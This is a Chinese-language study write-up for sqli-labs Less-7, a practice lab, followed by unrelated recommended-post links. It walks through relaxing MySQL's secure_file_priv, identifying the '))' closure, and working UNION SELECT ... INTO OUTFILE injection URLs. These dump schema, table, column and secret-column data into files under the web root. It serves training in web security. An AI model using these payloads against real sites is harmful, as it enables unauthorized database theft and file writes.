sqli-labs靶场7笔记

sqli-labs

Less-7

前提

这关考的是文件导出。(由于msyql默认不让导出文件,我们可能需要先配置一下)。

首先我们可以在less-1中检查一下secure_file_priv设置是否配置到导出目录

复制代码
-- 直接在Less-1中查询
?id=1')) union select 1,@@secure_file_priv,3 --+
如果返回类似:
    NULL:完全禁止文件导出

    C:\ProgramData\MySQL\MySQL Server 8.0\Uploads\:只能导出到这个目录

    空字符串:允许导出到任何目录

修改 MySQL 配置(推荐)

复制代码
步骤1:找到 my.ini/my.cnf

在 phpstudy 中:

    打开 phpstudy 面板

    找到 MySQL -> 配置 -> my.ini

    通常路径:D:\MyBox\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
    
步骤2:修改 secure_file_priv

在 [mysqld] 部分添加或修改:
  secure_file_priv = ""
  或者指定一个具体目录:
  secure_file_priv = "D:/MyBox/phpstudy/phpstudy_pro/WWW/"

1.判断注入点:

复制代码
http://sqli-labs/Less-7/?id=1   #正常
http://sqli-labs/Less-7/?id=1'  #报错
http://sqli-labs/Less-7/?id=1" #正常
是单引号闭合
http://sqli-labs/Less-7/?id=1' --+   #报错
http://sqli-labs/Less-7/?id=1') --+  #报错
http://sqli-labs/Less-7/?id=1')) --+ #正常
确认是'))闭合

这一关提示outfile

那就是将回显导出到文件中进行查看

这里导出需要条件:

复制代码
1.有写入权限(前提中有提到);
2.知道网站绝对路径(毕竟是靶场自己知道的);

2.爆库

复制代码
#爆所有库并导出到1.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt' --+

#注意
1。路径要用/或者\\
    看我的路径'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt'

3.爆表

复制代码
#challenges库中的表并导出到2.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/2.txt' --+

4.爆列

复制代码
#爆challenges库中2m4sx0cpn5表中所有列名并导出到3.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/3.txt' --+

5.爆字段

复制代码
#这里就看一下challenges库中2m4sx0cpn5表中secret_NOQD列中的所有数据
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/4.txt' --+

结束。

相关推荐
Android小码家18 分钟前
OWASP 移动应用安全之授权(MASTG-DEMO-0090)
android·安全·frida
Summer-Bright31 分钟前
消费者 AI 变现竞争:从“一家独大“到“iOS vs Android“,谁在为 AI 买单?
android·人工智能·ios·ai·自然语言处理·agi
Xzaveir1 小时前
企业号码资产平台:逐号状态、事件日志与批次聚合
android·人工智能
mifengxing2 小时前
计算机组成原理概述
笔记·考研·计算机组成原理·复习笔记
最后的最后、7962 小时前
SQLi-Labs 六关 SQL 注入过关笔记
数据库·笔记·sql
恋猫de小郭2 小时前
Flutter 3D 渲染的全新选择和应用场景
android·前端·flutter
筱谙2 小时前
BES BLE CTKD 完整学习笔记
笔记·学习
会编程的土豆2 小时前
数据库mysql八股
数据库·笔记·八股
数据皮皮侠AI2 小时前
退市监督数据(2000-2024)
大数据·人工智能·笔记·机器学习·回归
—Miss. Z—2 小时前
计算机二级MySQL——简单应用题(事件&视图)
android·mysql·adb